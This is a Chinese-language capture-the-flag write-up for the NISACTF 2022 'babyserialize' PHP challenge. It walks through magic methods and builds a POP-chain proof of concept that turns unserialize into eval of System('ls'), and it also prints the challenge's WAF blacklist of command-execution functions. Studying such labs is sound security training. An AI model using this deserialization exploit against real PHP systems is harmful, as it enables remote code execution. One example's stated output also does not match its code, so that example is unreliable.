[NISACTF 2022]babyserialize

[NISACTF 2022]babyserialize

很明显这是一道反序列化的题目

 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>




需要用到的魔术方法:

__wakeup:当对象被反序列化时,自动调用本魔术方法
__call:从对象调用一个不存在的方法时,自动调用此函数
__set:当给不存在或不可访问的属性赋值时,自动调用此函数
__invoke:当对象被当做一个函数使用时,自动调用此函数
__toString:当一个对象被当做字符串时自动调用,返回一个字符串

用例

__call

<?php
class Try1{
	public function __call($method,$args){
	echo "there is no such a method '$method'\n";
	echo "你输入的参数是:$arg";
	}
}

$a=new Try1();
$a->fuckyou("服了","哈哈","真的");

/*输出结果:
there is no such a method 'fuckyou'
你输入的参数是:PHP
*/

__toString:

<?php
class Try1{
	public function __toString(){
	return "This is example";
	}
}

$a=new Try1();
$b=strtolower($a);//strtolower函数是将字符串转化成小写
echo $b;
//输出结果:this is example

__invoke:

<?php
class Try1{
	public function __invoke($arg){
	echo "the character you enter is $arg";
	}
}

$a=new Try1();
$a(1);
//输出结果:the character you enter is 1

__set:

<?php
class Try1{
	public function __set($name,$value){
	echo "no such a properties called $name,you should pass the $value to anoter properties";
	}
}

$a=new Try1();
$a->fun=123;
//输出结果:no such a properties called fun,you should pass the 123 to anoter properties

题目源码:

 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()	//当对象被反序列化时调用此方法
    {
        if($this->fun=="show_me_flag"){
            hint();	//如果此类的fun属性为show_me_flag则调用hint函数
        }
    }

    function __call($from,$val){//当调用一个不存在的方法时调用此方法
        $this->fun=$val[0];	//此类的fun属性赋值为传入的参数
    }

    public function __toString()//当对象被当做字符串时调用此方法
    {
        echo $this->fun;		//输出此类的fun,返回值为空格
        return " ";
    }
    public function __invoke()	//当对象被当做函数执行时调用
    {
        checkcheck($this->txw4ever);//将txw4ever放入check函数检查
        @eval($this->txw4ever);//这里是我们的最终目的,让system函数执行txw4ever里的内容
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);//当对象被反序列化时调用此类里的ext属性里的nisa函数,将此类的x属性传参给nisa函数
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){//当调用一个不存在的方法时,把huang里的fun属性赋值为传入的参数
        $this->huang->fun=$arg[0];
    }

    public function __toString(){//当对象被当做字符串时
        $bb = $this->su;//将$bb赋值为su属性
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)//当给一个不存在或不可访问的属性时
    {
        $this->$name=$value;此类的name赋值为传入的参数
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);//如果fun属性为sixsixsix把a属性里的字符串转化成小写
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

接下来构造pop链

有两种办法:

第一种直接跟着它的逻辑走

  1. 我们要触发NISA里的__invoke因为它里面有我们想要的eval函数
  2. 想要触发__invoke就需要Ilovetxw里的___toString,此时要找形如$a(asd)这样的,刚好这个类里面有我们需要的$bb()
  3. 想要触发__toString就需要four里面的__set,我们需要里面的strtolower($this->a)
  4. 想要触发__set就需要ilovetxw里的__call,里面有我们需要的$this->huang->fun=$arg[0],因为这个类里没有fun这个属性
  5. 想要触发__call就需要TianXiWei里的__wakeup,里面有我们需要的nisa(),而__wakeup在反序列化时就会自动执行

至此逻辑已经出来了

TianXiWei->__wakeup=>ilovetxw->__call=>four->__set=>Ilovetxw->___toString=>NISA->__invoke

构造poc

<?php
class NISA{
    public $fun;
    public $txw4ever;
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}

$a= new TianXiWei();
$a->ext=new Ilovetxw();
$a->ext->huang=new four();
$a->ext->huang->a=new Ilovetxw();
$a->ext->huang->a->su=new NISA();
$a->ext->huang->a->su->txw4ever="System('ls');";

echo(urlencode(serialize($a)));

?>

注意要把属性的值给删了

第二种办法:

用做标注的方法:

 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";//fun=asda
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);//1 shell
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);//5 Ilovetxw
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];//4 four
    }

    public function __toString(){
        $bb = $this->su;//2 NISA
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);//3 Ilovetxw
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

根据触发顺序标注数字和上次的类

然后构造poc:

 <?php
class NISA{
    public $fun;//fun=asda
    public $txw4ever="System('ls');";
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);//1 shell
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);//5 Ilovetxw
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];//4 four
    }

    public function __toString(){
        $bb = $this->su;//2 NISA
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='sixsixsix';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);//3 Ilovetxw
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}
$a1=new NISA();
$a2=new Ilovetxw();
$a2->su=$a1;
$a3=new four();
$a3->a=$a2;
$a4=new Ilovetxw();
$a4->huang=$a3;
$a5=new TianXiWei();
$a5->ext=$a4;
echo urlencode(serialize($a5));
?>

注意这里是有waf的

<?php
function checkcheck($data){
    if (preg_match("/\`|\^|\||\~|assert|\?|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk/", $data, $match)) {
        die('something wrong');
    }
}

function hint(){
    echo "flag is in /";
    die();
}
?>
  1. 要避免调用hint()
  2. txw4ever内要经过waf.php的绕过

posted @ 2023-11-19 19:38  redfish999  阅读(27)  评论(0编辑  收藏  举报